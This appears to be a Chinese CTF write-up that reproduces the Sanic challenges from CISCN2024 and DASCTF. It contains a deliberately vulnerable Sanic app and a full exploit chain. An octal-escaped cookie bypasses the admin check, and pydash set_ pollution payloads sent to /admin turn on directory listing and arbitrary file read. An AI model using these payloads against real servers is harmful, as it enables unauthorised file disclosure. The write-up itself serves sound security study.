前言 无。
环境搭建 新建一个Python项目,先添加依赖:
1 2 3 pip install sanic pip install sanic_session pip install pydash==5.1.2
限定了pydash版本,估计原型链污染就发生在这个版本的pydash里面了。
然后新建一个static目录,里面随便写个index.html,然后新建一个index.py把主代码贴进去就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app)@app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read())@app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" )@app.route("/src" ) async def src (request ): return text(open (__file__).read())@app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" )if __name__ == '__main__' : app.run(host='0.0.0.0' )
登录 原型链污染发生地点为pydash.set_函数调用,前提条件为登录admin用户,admin用户登录条件为登录用户名满足字符串adm;n:
1 2 3 4 user = request.cookies.get("user" )if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" )
尝试直接提交字符串,发现分号;会截断cookie,而且sanic貌似不会主动进行URL解码,所以需要寻找另一种编码方式进行绕过。
找到sanic框架下的cookie处理代码,该代码位于request.py文件中,首先根据分号;切割cookie键值对:
1 for token in raw.split(";" ):
接下来做完cookie名合法性验证后,会对双引号”包裹的cookie值有一个特殊处理:
1 2 if len (value) > 2 and value[0 ] == '"' and value[-1 ] == '"' : value = _unquote(value)
其中存在一个特殊的正则匹配:
1 o_match = OCTAL_PATTERN.search(str , i)
该正则匹配的是八进制数据:
1 OCTAL_PATTERN = re.compile (r"\\[0-3][0-7][0-7]" )
后续会对匹配到的字符串进行进制转换:
1 2 3 res.append(str [i:j]) res.append(chr (int (str [j + 1 : j + 4 ], 8 ))) i = j + 4
因此可以通过双引号”和八进制编码完成登录:
1 2 3 GET /login HTTP/1.0 Host : localhost:8000Cookie : user="adm\073n"
原型链 观察到Pollute类下存在一个__init__构造函数,根据参考文章,可以通过访问其属性获得当前的类和方法:
1 pollute.__init__.__globals__
结果:
观察代码,可以看到app通过static函数设置了静态文件目录,而静态目录下的文件可以被浏览器访问,因此考虑通过污染static配置的方式,将static目录修改为根目录等方式实现任意文件读取。
观察static的可选参数,可以看到存在几个有用的参数:
1 2 3 4 5 file_or_directory (Union[PathLike, str]): Path to the static file or directory with static files . directory_view (bool, optional): Whether to fallback to showing the directory viewer when exposing a directory . Defaults to `False`.
代表了静态文件目录和列目录开关,修改后看起来可以实现列根目录和任意文件读取。
接下来就要尝试对这些参数进行污染,尝试访问static路径如http://localhost:8000/static/,得到报错:
1 2 3 4 5 6 7 8 Traceback (most recent call last): File "handle_request" , line 102 , in handle_request if TYPE_CHECKING: File "D:\P ython2.7\s anic\v env\l ib\s ite-packages\s anic\m ixins\s tatic.py" , line 332 , in _static_request_handler return await directory_handler.handle(request, request.path) File "D:\P ython2.7\s anic\v env\l ib\s ite-packages\s anic\h andlers\d irectory.py" , line 70 , in handle raise IsADirectoryError(f"{self.directory.as_posix()} is a directory" )IsADirectoryError: D:/Python2.7/sanic/static is a directory
怀疑关键点可能在static.py中,给主程序中的app.static函数调用下断点,然后找到static.py文件,在StaticHandleMixin类里面找到_register_static注册函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 _handler = wraps(self ._static_request_handler)( partial( self ._static_request_handler, file_or_directory=file_or_directory, use_modified_since=static.use_modified_since, use_content_range=static.use_content_range, stream_large_files=static.stream_large_files, content_type=static.content_type, directory_handler=static.directory_handler, ) ) route, _ = self .route( uri=uri, methods=["GET" , "HEAD" ], name=name, host=static.host, strict_slashes=static.strict_slashes, static=True , )(_handler)
该函数会将静态目录和列目录开关等配置整合为一个handler,然后注册到route路由中去,找到route函数,此时用于注册路由的name等标识如下:
用于注册路由的name为__main__.static,继续往下看route函数,可以看到返回的是一个decorator函数,该嵌套函数通过nonlocal标识访问外层函route数的name等变量,再与handler统合为一个FutureRoute对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 route = FutureRoute( handler, uri, None if websocket else frozenset ([x.upper() for x in methods]), host, strict_slashes, stream, version, name, ignore_body, websocket, subprotocols, unquote, static, version_prefix, error_format, route_context, ) ...if apply: self ._apply_route(route, overwrite=overwrite)
最后进入到app.py文件的_apply_route函数提交,添加到app下面的router成员中,此时的params即新构造FutureRoute对象里的name和handler等数据的集合:
1 routes = self .router.add(**params)
再进入到这个add函数,会调用更上一层的add函数:
1 route = super ().add(**params)
最后以name作为索引放置到name_index里:
1 2 if name: self .name_index[name] = route
综上所述,从app出发可以摸索到static相关配置,因此存在通过原型链污染修改static配置的可能性,在编辑器中调试一下试一下就能找到搜索路径:
1 pollute.__init__.__globals__['app' ].router.name_index['__mp_main__.static' ].handler.keywords
结果:
污染路径已经找到了,思路也清晰了,可以开始实操原型链污染然后实现文件读取了。
污染 先尝试修改directory_view实现列目录功能:
1 2 3 4 5 6 7 POST /admin HTTP/1.0 Host : localhost:8000Cookie : session=8257742079694b2db0958b85ecfab79f; user="adm\073n"content-type : application/jsonContent-Length : 32{"key" : "__class__\\ \\ .__init__\\ \\ .__globals__\\ \\ .app.router.name_index.__mp_main__\\ .static.handler.keywords.directory_handler.directory_view" , "value" : "True" }
访问http://localhost:8000/static/,这次就成功列目录了:
再修改file_or_directory为其他路径即可实现列目录后文件读取,注意一下类型:
1 2 3 4 5 6 7 POST /admin HTTP/1.0 Host : localhost:8000Cookie : session=8257742079694b2db0958b85ecfab79f; user="adm\073n"content-type : application/jsonContent-Length : 166{"key" :"__class__\\ \\ .__init__\\ \\ .__globals__\\ \\ .app.router.name_index.__mp_main__\\ .static.handler.keywords.directory_handler.directory._parts" ,"value" : ["D:/" ]}
参考 CISCN2024-WEB-Sanic gxngxngxn
DASCTF 2024暑期挑战赛-WEB-Sanic’s revenge gxngxngxn
Sanic框架下原型链污染(以国赛sanic和dasctf-sanic题复现为例)